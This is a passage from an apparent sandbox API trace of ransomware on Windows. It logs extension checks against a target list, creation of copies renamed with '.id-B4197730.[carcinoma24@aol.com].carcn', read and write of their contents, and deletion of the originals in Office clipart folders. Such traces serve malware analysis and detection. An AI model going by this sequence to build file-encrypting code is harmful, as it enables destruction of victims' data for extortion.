lpString2=".WMF") returned -1 [0302.546] lstrlenW (lpString=".7z") returned 3 [0302.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0302.546] lstrlenW (lpString=".dbf") returned 4 [0302.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0302.546] lstrlenW (lpString=".1cd") returned 4 [0302.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0302.546] lstrlenW (lpString=".jpg") returned 4 [0302.546] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.547] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.547] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0302.547] GetLastError () returned 0x0 [0302.547] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x61c, lpOverlapped=0x0) returned 1 [0302.877] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x620, lpOverlapped=0x0) returned 1 [0302.878] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.878] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.878] SetEndOfFile (hFile=0x340) returned 1 [0302.878] CloseHandle (hObject=0x340) returned 1 [0302.878] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.878] SetEndOfFile (hFile=0x350) returned 1 [0302.879] CloseHandle (hObject=0x350) returned 1 [0302.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.880] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 1 [0302.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0302.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0302.880] lstrlenW (lpString=".doc") returned 4 [0302.880] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.880] lstrlenW (lpString=".docx") returned 5 [0302.880] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.880] lstrlenW (lpString=".pdf") returned 4 [0302.880] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.880] lstrlenW (lpString=".xls") returned 4 [0302.880] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.881] lstrlenW (lpString=".xlsx") returned 5 [0302.881] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.881] lstrlenW (lpString=".ppt") returned 4 [0302.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0302.881] lstrlenW (lpString=".zip") returned 4 [0302.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.881] lstrlenW (lpString=".rar") returned 4 [0302.881] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.881] lstrlenW (lpString=".bz2") returned 4 [0302.881] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.881] lstrlenW (lpString=".7z") returned 3 [0302.881] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0302.881] lstrlenW (lpString=".dbf") returned 4 [0302.881] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0302.881] lstrlenW (lpString=".1cd") returned 4 [0302.881] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68 [0302.881] lstrlenW (lpString=".jpg") returned 4 [0302.881] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.881] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.882] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0302.882] GetLastError () returned 0x0 [0302.882] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x5bc, lpOverlapped=0x0) returned 1 [0302.883] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0302.884] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.884] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.884] SetEndOfFile (hFile=0x340) returned 1 [0302.884] CloseHandle (hObject=0x340) returned 1 [0302.885] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.885] SetEndOfFile (hFile=0x350) returned 1 [0302.885] CloseHandle (hObject=0x350) returned 1 [0302.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.886] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 1 [0302.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0302.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0302.890] lstrlenW (lpString=".doc") returned 4 [0302.890] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.890] lstrlenW (lpString=".docx") returned 5 [0302.890] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.890] lstrlenW (lpString=".pdf") returned 4 [0302.890] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.890] lstrlenW (lpString=".xls") returned 4 [0302.890] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.890] lstrlenW (lpString=".xlsx") returned 5 [0302.890] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.890] lstrlenW (lpString=".ppt") returned 4 [0302.890] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0302.890] lstrlenW (lpString=".zip") returned 4 [0302.890] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.890] lstrlenW (lpString=".rar") returned 4 [0302.890] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.890] lstrlenW (lpString=".bz2") returned 4 [0302.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.890] lstrlenW (lpString=".7z") returned 3 [0302.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0302.890] lstrlenW (lpString=".dbf") returned 4 [0302.890] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0302.890] lstrlenW (lpString=".1cd") returned 4 [0302.890] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0302.890] lstrlenW (lpString=".jpg") returned 4 [0302.891] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.891] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.891] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0302.892] GetLastError () returned 0x0 [0302.892] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x578, lpOverlapped=0x0) returned 1 [0302.892] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x580, lpOverlapped=0x0) returned 1 [0302.893] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.893] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.894] SetEndOfFile (hFile=0x340) returned 1 [0302.894] CloseHandle (hObject=0x340) returned 1 [0302.894] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.894] SetEndOfFile (hFile=0x350) returned 1 [0302.895] CloseHandle (hObject=0x350) returned 1 [0302.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.895] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 1 [0302.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0302.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0302.896] lstrlenW (lpString=".doc") returned 4 [0302.896] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.896] lstrlenW (lpString=".docx") returned 5 [0302.896] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.896] lstrlenW (lpString=".pdf") returned 4 [0302.896] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.896] lstrlenW (lpString=".xls") returned 4 [0302.896] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.896] lstrlenW (lpString=".xlsx") returned 5 [0302.896] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.896] lstrlenW (lpString=".ppt") returned 4 [0302.896] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0302.896] lstrlenW (lpString=".zip") returned 4 [0302.896] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.896] lstrlenW (lpString=".rar") returned 4 [0302.896] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.896] lstrlenW (lpString=".bz2") returned 4 [0302.896] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.896] lstrlenW (lpString=".7z") returned 3 [0302.896] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0302.896] lstrlenW (lpString=".dbf") returned 4 [0302.896] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0302.896] lstrlenW (lpString=".1cd") returned 4 [0302.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0302.896] lstrlenW (lpString=".jpg") returned 4 [0302.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.897] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.897] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0302.897] GetLastError () returned 0x0 [0302.898] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x3158, lpOverlapped=0x0) returned 1 [0302.898] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x3160, lpOverlapped=0x0) returned 1 [0302.900] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.900] WriteFile (in: hFile=0x340, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.900] SetEndOfFile (hFile=0x340) returned 1 [0302.900] CloseHandle (hObject=0x340) returned 1 [0302.900] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.900] SetEndOfFile (hFile=0x350) returned 1 [0302.901] CloseHandle (hObject=0x350) returned 1 [0302.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 1 [0302.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0302.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0302.902] lstrlenW (lpString=".doc") returned 4 [0302.902] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.902] lstrlenW (lpString=".docx") returned 5 [0302.902] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.902] lstrlenW (lpString=".pdf") returned 4 [0302.902] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.902] lstrlenW (lpString=".xls") returned 4 [0302.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.902] lstrlenW (lpString=".xlsx") returned 5 [0302.902] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.902] lstrlenW (lpString=".ppt") returned 4 [0302.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0302.902] lstrlenW (lpString=".zip") returned 4 [0302.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.902] lstrlenW (lpString=".rar") returned 4 [0302.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.902] lstrlenW (lpString=".bz2") returned 4 [0302.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.902] lstrlenW (lpString=".7z") returned 3 [0302.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0302.903] lstrlenW (lpString=".dbf") returned 4 [0302.903] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0302.903] lstrlenW (lpString=".1cd") returned 4 [0302.903] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0302.903] lstrlenW (lpString=".jpg") returned 4 [0302.903] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.903] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.903] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0303.209] GetLastError () returned 0x0 [0303.209] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x2994, lpOverlapped=0x0) returned 1 [0303.210] WriteFile (in: hFile=0x37c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x29a0, lpOverlapped=0x0) returned 1 [0303.211] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.211] WriteFile (in: hFile=0x37c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.211] SetEndOfFile (hFile=0x37c) returned 1 [0303.212] CloseHandle (hObject=0x37c) returned 1 [0303.212] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.212] SetEndOfFile (hFile=0x350) returned 1 [0303.213] CloseHandle (hObject=0x350) returned 1 [0303.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.213] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 1 [0303.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0303.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0303.214] lstrlenW (lpString=".doc") returned 4 [0303.214] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.214] lstrlenW (lpString=".docx") returned 5 [0303.214] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.214] lstrlenW (lpString=".pdf") returned 4 [0303.214] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.214] lstrlenW (lpString=".xls") returned 4 [0303.214] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.214] lstrlenW (lpString=".xlsx") returned 5 [0303.214] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.214] lstrlenW (lpString=".ppt") returned 4 [0303.214] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0303.214] lstrlenW (lpString=".zip") returned 4 [0303.214] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.214] lstrlenW (lpString=".rar") returned 4 [0303.214] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.214] lstrlenW (lpString=".bz2") returned 4 [0303.214] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.214] lstrlenW (lpString=".7z") returned 3 [0303.214] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0303.214] lstrlenW (lpString=".dbf") returned 4 [0303.214] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0303.214] lstrlenW (lpString=".1cd") returned 4 [0303.214] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0303.214] lstrlenW (lpString=".jpg") returned 4 [0303.215] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.215] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.215] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0303.215] GetLastError () returned 0x0 [0303.216] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xa90, lpOverlapped=0x0) returned 1 [0303.216] WriteFile (in: hFile=0x37c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, 